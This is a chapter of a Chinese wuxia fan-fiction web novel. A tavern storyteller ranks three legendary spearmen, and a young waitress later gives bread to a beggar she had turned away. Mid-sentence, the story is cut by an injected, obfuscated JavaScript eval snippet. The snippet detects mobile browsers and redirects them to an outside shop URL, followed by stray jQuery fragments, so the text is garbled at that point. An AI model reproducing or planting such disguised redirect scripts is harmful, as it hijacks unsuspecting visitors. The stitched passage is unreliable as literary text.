9. 天下三大枪法
作品:《[综武侠]全江湖都欠我赏金》 江湖中人,十八般兵器皆有用者,其中又以使刀剑的最多,一来刀剑方便携带,二来相对也容易获得。
长兵器如棍棒之流,诸如少林的棍、丐帮的棒,用者繁多,是比刀剑更易获取的武器。
唯独用枪者寥寥。
因为长枪最常出现的地方不是江湖,而在战场。
红缨在手,冲锋陷阵,黄沙万里北往,马革裹尸还乡。
江湖之中流传着这样一句话——
月棍年刀十载剑,毕生修得枪如龙。
能排名在江湖前三之属的枪客,不似刀客剑客如过江之鲫,年轻者众,多是大器晚成,或年少成名数十年屹立不倒的泰山北斗。
其中又首推当朝太傅、十八万御林军总教头,师出“自在门”的老四大名捕之一诸葛正我,和他的惊艳一枪。
“迄今还没有人见过诸葛神侯使出他这惊艳一枪。但以神侯数十年拨乱反正的功绩,加上他对朝廷的贡献,老朽将惊艳一枪排在首列,应属当之无愧。”
惊堂木“啪”一声敲下,白须长髯的老者中气十足、掷地有声,酒楼中几十号人,贩夫走卒、行旅商客,就连兼职掌柜的陈运来都停了手,脖子微微向前探,生怕错过一句。
老者的定论没有引来半句质疑,毕竟不会有谁想不开去质疑一个名望甚隆,不管在江湖还是庙堂都拥有绝对影响力的宗师级人物。
人潮鸦雀无声,老翁浑浊的眼中隐隐划过一抹得色,熟稔掌控着故事的节奏,继续讲起当年诸葛神侯如何于危难之际,拱卫京师,纵横捭阖的往事。
啜了口新来的跑堂刚沏好的新茶,眯着眼细细观察台下看客情绪的起伏,他接着开口,声音不高:
“还有两个人,论实力、名望都与诸葛神侯在伯仲之间。”
“老人家要说的可是山东神枪会的总会主长孙飞虹?”底下有个腰上佩剑的年轻后生眼睛一亮,兴致勃勃地抢答。
“不错,这其中之一,正是凄凉王长孙飞虹。”老者笑着点头捋了捋胡须。
江湖门派之中,唯函谷关东三大家之首的孙家擅用枪。
山东神枪会孙家常年虎踞关东,与关东万马堂马家、东北成聚德沈家成鼎足之势,大有南下入主中原武林的野心,势力绝非局限于济南城的朱砂帮可比,因此也一直为朝廷清流如诸葛正我等所忌惮。
而山东神枪会现任总会主,得先帝赐予封号,号称“不拜一贯堂,必会‘凄凉王’”的长孙飞虹,正是江湖中难得的用枪高手。
如果说江湖中还有谁能与诸葛正我一战,最有希望能与之匹敌的,莫过于长孙飞虹和他的凄凉绝顶枪。
“可惜,王不见王,这么多年,这二位至今没交过手,实为一大憾事。”
讲到这里,老者穿插着说起一段长孙飞虹年轻时的往事,故事险象环生,高潮迭起,他显然深谙如何吊起人的胃口,又应该在哪里设下悬念,吸引客人们如痴如醉地听。
每月有陈万发来的这一天,酒楼的营收都要比其他日子高出一大截。如果不是考虑到老人家年纪大了精力不济,陈运来恨不得让对方天天驻场说书。
看着源源不断被吸引进店、听得入神的客人,陈运来的眼角余光注意到门口一个衣衫褴褛的要饭老妪时深深皱起了眉头。
还不等他吩咐,穿梭在人群中手脚麻利地给客人们添茶倒水的崔小寨已经极有眼色地上前,将那要饭的赶了出去,陈运来见状满意地不住点头。
“小寨,你过来。”陈运来招呼崔小寨进前,将几碟酒菜装在盘子里转交给她,眼神示意楼上:“二楼左转第三间包厢客人的。”
“我这就送去。”
见她转身就要上楼,陈运来想起那客人看着虽低调,但气度不凡远胜他见过的所有人,赶紧拉住她小声提醒了句:“看着是矜贵人家的公子,你稳重些。”
“掌柜的放心!”
说罢托着酒菜笑眯眯上了楼去。
……
“笃笃笃——”
“客官,您点的酒菜。”
“进来。”
包厢里坐着两个青年,一个一袭猩红大氅,面色苍白看着久病缠身,另一个一身白衣,额上长着颗黑痣。
即便不言语,还是一眼就能看出谁是主事之人。
见崔小寨进屋,二人的目光落在她身上,温和有礼却也带着一丝极淡的审视。
崔小寨眼观鼻鼻观心,将盘子里的酒菜一一端到桌上。
此时一楼堂内——
“老人家,你刚说两个人,除了长孙飞虹,还有一个是谁?”坐在靠窗那桌的刀疤汉子操一口山西话,嗓音粗噶地发问。
“能和这二人并举,难不成是赫连乐吾将军?”二楼包厢内传出一个浑厚的男子声音。
“赫连将军驻守边关,地位自是尊崇无匹,但要说枪法,恐怕还不足以和诸葛神侯、凄凉王相提并论吧……”
“若不是赫连将军,还能有谁?大王镖局王总镖头的霸王枪?”
有人道:“诶!你没听说么?王万武一年前因为拒绝了青龙会的招揽被人暗杀,大王镖局自那之后虽有王大小姐支应门庭,可也早就不复往昔了。”
“是啊,真要论起来,若是有四个位置,排在第四之末,倒还勉强说得过去。”
客人们窃窃私语,一时交头接耳起来。
“一对,一错。”
老者捋须摇头轻叹,惊堂木一响,在满堂寂静里,须眉微翘,双眼得意地眯起:
“这第三,正是赫连将军和他家祖传的七十二路飞猿枪法。”
“老朽曾有幸遥遥亲见过一回,十五年前,狮子峡一役,赫连将军率七千将士迎战三万敌寇,一柄长枪赫赫生风,斩敌寇于马前。”
跟随着老者的讲述,酒楼中每一个人仿佛都亲眼见证了当年的画面,鼻端飘过沾着铁锈味的血,口腔里咽下边塞的黄沙,烽火狼烟,近在眼前。
“每一杆枪,都染着犯我边境者的血。大壮我朝国威!”
老者手肘颤颤巍巍,声音却如金铁交鸣,众人仿佛被那沉甸甸的,带着血和铁的枪意压得喘不过气来,却又从脊梁骨里升起一股滚烫的东西。
“这样的赫连将军
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199192|197158||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,如何没有资格与诸葛神侯、凄凉王并列当世三大枪客?!”
堂中一片肃然,纷纷颔首,静默一瞬。
不知是谁率先叫了一声好,很快,连绵的叫好声、掌声响彻酒楼,淹没了二楼雅间传出的一声轻微嗤笑。
崔小寨没有错过这声笑。因为这声嗤笑,正是眼前这位看着病怏怏的年轻公子发出的。
他不说话时便已给人十足的压迫感,笑时更流露出淡淡的睥睨傲气。
而崔小寨已经以最快的速度布完菜,顺便也替两人斟完了酒。
“没什么事,小的就下去了。二位慢用。”她眉眼弯弯地笑。
红衣青年看向她,苍白清隽的脸上一双有如燃着寒焰的目,崔小寨紧张地眨了眨眼。
过了半晌,他微微咳嗽,移开目光,点头温声道:“去吧。”
“好嘞。”崔小寨维持着脸上的笑意,退出去关上门后,脸上笑意瞬间耷拉下来,莫名松了口气。
楼下,陈万发说的故事刚刚收尾,正起身矜持地朝四座拱手,下得台去。
酒楼里意犹未尽的客人请他上座,叫了好酒来,将他奉为上宾,只想听他再多说几句:
“叫我说,赫连将军还有一样东西,是凄凉王和诸葛神侯比不了的。”陈万发嗦了口陈酿,熏熏然摇头晃脑道。
“哦?是什么?”
“传人。那赫连小侯爷天赋出众,年方二十,颇有乃父之风。二十年后再论英雄,恐枪法榜上,唯他能摘得魁首……”
“说得正是……”
酒楼里充满了快活的空气。
陈运来手下算珠噼里啪啦点数着今日的进账,笑得合不拢嘴。
“掌柜的,我出去一会儿。”崔小寨眨巴着一双黑亮的眼,笑嘻嘻道。
“去吧去吧。”陈运来心情大好,甚至没详问她要去哪里、干什么,只挥了挥手示意自己同意了。
“等等,你回来。”
“掌柜的还有什么吩咐?”崔小寨麻溜撤回脚步,嘿然笑问。
“拿去。”拨开抽屉,取出一串铜钱抛到她手里:“今天表现不错,这点钱不算在工钱里,就当赏你的。去吧。”
崔小寨眼睛微微睁大,很快脸上绽开一抹笑:“得嘞!掌柜的恭喜发财!”眉眼弯弯说着吉利话,三步并做两步小跳着出了门去。
还是个孩子啊。陈运来好笑地摇了摇头,捋了捋胡须继续低头猛拨算盘。
……
……
转过一个弯,酒楼外隔着半拉围墙的巷子里,刚才被崔小寨驱赶出去的老妪无声无息地坐在漆黑安静的角落。
皲裂的手掌捧着缺了个口子的碎瓷碗,脚下踏一双草鞋,冻得通红的脚趾暴露在空气里,风一吹,整个人瑟缩着裹紧了身上的粗布衣裳,不自觉打了个寒颤。
“给。”
面前出现一只缠着绷带的手,碗里多了个泛着些许热气的粗面馒头。
老妪抬起浑浊的眼,微微一怔。
眼前半蹲着身子笑眯眯看向自己的,正是刚才把自己逐出店外的那个年轻跑堂。

